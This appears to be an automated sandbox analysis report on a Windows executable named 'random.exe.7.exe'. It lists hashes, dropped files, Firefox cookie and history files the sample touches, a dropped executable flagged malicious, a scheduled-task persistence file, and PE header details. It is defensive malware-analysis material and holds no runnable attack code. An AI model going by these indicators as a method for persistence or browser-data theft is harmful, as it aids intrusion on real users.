Preview:	L..................F.@.. ...$+.,.....,.XQ..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.r....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.r....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.r....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.r..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.r...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............x......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Dec 18 13:20:50 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9792429481865965
Encrypted:	false
SSDEEP:	48:8zdqTWa6HzidAKZdA1hehBiZUk1W1qehty+C:8wXL9Ny
MD5:	ACEEB49731B7A72366614230FACD1F20
SHA1:	9603D3073F7D91D20F0EA299B9C765B4125903C2
SHA-256:	FC5F7F8C538D7AE0B23E3A62B960CB861E286FFD094F9D0FA1C1AB05AD2C1088
SHA-512:	2402F9437A40AC599473CF9DAE45E3372F6709C10059087977960C4DD129C68B0C2F80C015EE62BA4D970B0680E8EC9A8126E75C23D352FE09B5E5291DB5A0C0
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....=.XQ..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.r....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.r....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.r....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.r..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.r...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............x......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Dec 18 13:20:50 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9884002846088986
Encrypted:	false
SSDEEP:	48:8UdqTWa6HzidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbzy+yT+:85XrT/TbxWOvTbzy7T
MD5:	533AE50ABEBC0A1153ED672F9F922DBD
SHA1:	6EE3FCD7029129E4CE9708A0222F4543127948F0
SHA-256:	D3961D96464637531E4F758B8B1F6EB1FE7310681C540919EF70683637D4A9C6
SHA-512:	507BEC1E7325BD393E88D86CAAB6896465AC25835AEB92980A6FE922DC13CDE6B74B1F32123C121C8542B37F4A8EE7B32157026ACC1129B6B3BEB5929A8A6990
Malicious:	false
Preview:	L..................F.@.. ...$+.,....D.#.XQ..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.r....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.r....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.r....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.r..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.r...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............x......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\random.exe.7.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\random.exe.7.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\BKKFCFBKFC.exe

Download File

Process:	C:\Users\user\Desktop\random.exe.7.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2956800
Entropy (8bit):	6.5597341947805035
Encrypted:	false
SSDEEP:	49152:wGstuxWdykCVE3Fy24U9w7mc00C+btuN37rhE9cMXRDv6rhMCHw:wqookCVE3Fy24Mwic0ybtuVXhE9ZhvWd
MD5:	3A61C20A67DE482B185AB4698AA6B4E1
SHA1:	50A864A95715C5167DA337DC608D53394972DA42
SHA-256:	3F09A04EBFC36B65298065E9B7DE36A1F6E7ACB77DA56DDFF650E7BF808EF976
SHA-512:	338A299FA4EEE138DD007729F6613BE90834B5AD447DFC8E02BF152DCD379A574726C632A8690673F4EE06AF8052D78EC08CC2724EDC574A1BEF6B3F3E733922
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................0...........@...........................1.....p.-...@.................................W...k...........................\|.0.............................,.0..................................................... . ............................@....rsrc...............................@....idata ............................@...osemtlkq..........................@...fqwpihld......0.......,.............@....taggant.0....0.."....,.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Documents\BKKFCFBKFC.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.447223892568644
Encrypted:	false
SSDEEP:	6:/IaMRX55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0lAut0:5MtuQ1CGAFifXVAut0
MD5:	5ED81ED15223AFB9C98B34F9FDA3F310
SHA1:	5CC5987902DBDFF881AF4510237F8FD61BCCB988
SHA-256:	D320EB535E84ABC8834AA4AC9D0990ED0CA423F006E41181601AC9A1D6A4BC3F
SHA-512:	D0CD7D8E1418D513E3238C48A0D68871A289D1A0C4F5FD4A15FD8AAF2DC860C539AC992F5DFD438225155F61680111B0CCA09515C9913C9090564D2641A66714
Malicious:	false
Preview:	....!..Y.}.A.......^F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2941)
Category:	downloaded
Size (bytes):	2946
Entropy (8bit):	5.874098890109998
Encrypted:	false
SSDEEP:	48:0TtdlNyKlgZ01iQPpD7VJ3Z9pS/s8wgLMMtkX9JVOVyMR0WaLXcGfAYuSEqmQffY:qdlbliKp/JK/33jEsvR0xXoBQffffo
MD5:	A82B1DCAC2B824F3BF432A4A9866DA34
SHA1:	6DCEF74DE8A69F9164210C90AEE075C76DD16401
SHA-256:	56EE46CBF175DB4A94CCE73CCF1FD1DFFF4D519CFCB86768D30A4F0D6802CAE9
SHA-512:	51B2356CBF71AAFD4BB256FE7894DE1FEF1A1B06CA421CC111700737260F5CF75297DE705F637CB48F9220C03B95DA220D5FEC1BD6D6D94E84AD7FE7DA1DB119
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["draco race blox fruits","georgia bulldogs football","stormy weather christmas travel forecast","prinx chengshan winter tire recall","samsung galaxy galaxy s25 ultra","vermont soccer ncaa championship","what we do in the shadows series finale","ripple xrp news"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"google:entityinfo":"CgkvbS8wN2ticDUSDUZvb3RiYWxsIHRlYW0y9gpkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUVBQUFBQXBDQU1BQUFDeVROOStBQUFBbjFCTVZFWC8vLzhzS2lrQUFBQVpGaFN0cmEwYkdCZjYrdnF2QUFDaW9xRXBKeWF6QUFBZ0hSd1dFeEVHQUFBbUl5SVJEUXZZa1pueTNkL2lzTFhKWG1zTEJRRHR6OUowYzNMUWVJS0doWVhibmFUUmZZYlpsNS9IVm1YV2g1REZUMTY2RHpDL3djRm9aMmZKeWNuNTcvQzJ0cmJXMXRibndNUlhWbFdUa3BMQk9rMjFBQXcwTWpIRFJWYS9MMFhNWm5MdDh2RkpSMGZlNHVLNEFDVzlKRHpPYjN1Vnp1ZmRBQUFESkVsRVFWUklpWlZXYlp1cUlCQ2RTQ1ZSRVRSTnN6SzF0QmMzdGUzLy83YUw3ck5kTWQxdHp6ZUJjempNREl3QUU5QjQ3

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132738
Entropy (8bit):	5.436751637952117
Encrypted:	false
SSDEEP:	3072:fAkJQ7O4N5dTm+syHEt4W3XdQ4Q68uSr/nUW2i6o:flQ7HTt/sHdQ4Q68DfUW8o
MD5:	52CCABC21A3160536FE554C3F683858F
SHA1:	4771E418372C802074903AD30B76A6FA95867A47
SHA-256:	0A1C14AD13D3CB597404599948CE2FBCF64FE82A279B991FFACA867B2A1483EC
SHA-512:	E9E77A1299406D197487A59521783D5B6C4D8786D4760590108FBEAE4F4649EE81A45F5D90F51E5422E50752002150EE2870904D55F76103DECBF4E44B277373
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2410)
Category:	downloaded
Size (bytes):	175897
Entropy (8bit):	5.549876394125764
Encrypted:	false
SSDEEP:	3072:t0PuJ7UV1+ApsOC3Ocr4ONnv4clQfOQMmzIWrBQoSpFMgDuq1HBGANYmYALJQIfr:t0PuJQ+ApsOOFZNnvFlqOQMmsWrBQoSd
MD5:	2368B9A3E1E7C13C00884BE7FA1F0DFC
SHA1:	8F88AD448B22177E2BDA0484648C23CA1D2AA09E
SHA-256:	577E04E2F3AB34D53B7F9D2F6DE45A4ECE86218BEC656B01DCAFF1BF6D218504
SHA-512:	105D51DE8FADDE21A134ACA185AA5C6D469B835B77BEBEC55A7E90C449F29FCC1F33DAF5D86AA98B3528722A8F533800F5146CCA600BC201712EBC9281730201
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.otmEBJ358uU.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTu0yU9RTMfNNC-LVUmaaNKwIO136g"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Ui=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Vi=class extends _.Q{constructor(a){super(a)}};.}catch(e){_._DumpException(e)}.try{.var Wi,Xi,aj,dj,cj,Zi,bj;Wi=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};Xi=function(){_.Ka()};aj=function(a,b){(_.Yi\|\|(_.Yi=new Zi)).set(a,b);(_.$i\|\|(_.$i=new Zi)).set(b,a)};dj=function(a){if(bj===void 0){const b=new cj([],{});bj=Array.prototype.concat.call([],b).length===1}bj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ej=function(a,b,c){a=_.rb(a,b,c);return Array.isArray(a)?a:_.Ac};._.fj=function(a,b){a=2&b?a\|2:a&-3;return(a\|32)&-2049};_.gj=function(a,b){a===0&&(a=_.fj(a,b));return a\|1};_.hj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.ij=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.lj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ej(a,b,d);var k=h[_

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.4706637053274
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	random.exe.7.exe
File size:	2'913'280 bytes
MD5:	a91e703f6e05180d79cb0693d4de870d
SHA1:	5681a283819fb7421d20e3ebee9accbf4c0b6429
SHA256:	baa95564008d8836029dc0f95dbf5fd86659c5b825f9f68d5f395b4aa56cece2
SHA512:	7d10379c555a0e07f15b601bfddf00177178a362d6a3694d57b59c683631634e5825d242392c326c166b2c9f0c0b9d756079e23019a4ac85a67b71e0ad9926ae
SSDEEP:	49152:4KwC0nKT8qlSzdfDcKoJCXoPyWjhcz6Zz0Fw:4Kwm8qlSdZoMNW9z0Fw
TLSH:	A7D53AD1F404B1CBD4EE27749867DE8AAD5D03F8471608DBA86C70FA7D63EC119AAC24
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d...d...d.....s.\|.....F.i.....r.^...m.[.g...m.K.b.......g...d.........w.w.....E.e...Richd...........PE..L....dTg...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8fa000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67546419 [Sat Dec 7 15:04:57 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F3EBC81D68Ah
rsqrtps xmm5, dqword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F3EBC81F685h
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add bh, bh
inc dword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop ds
add byte ptr [eax+000000FEh], ah
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
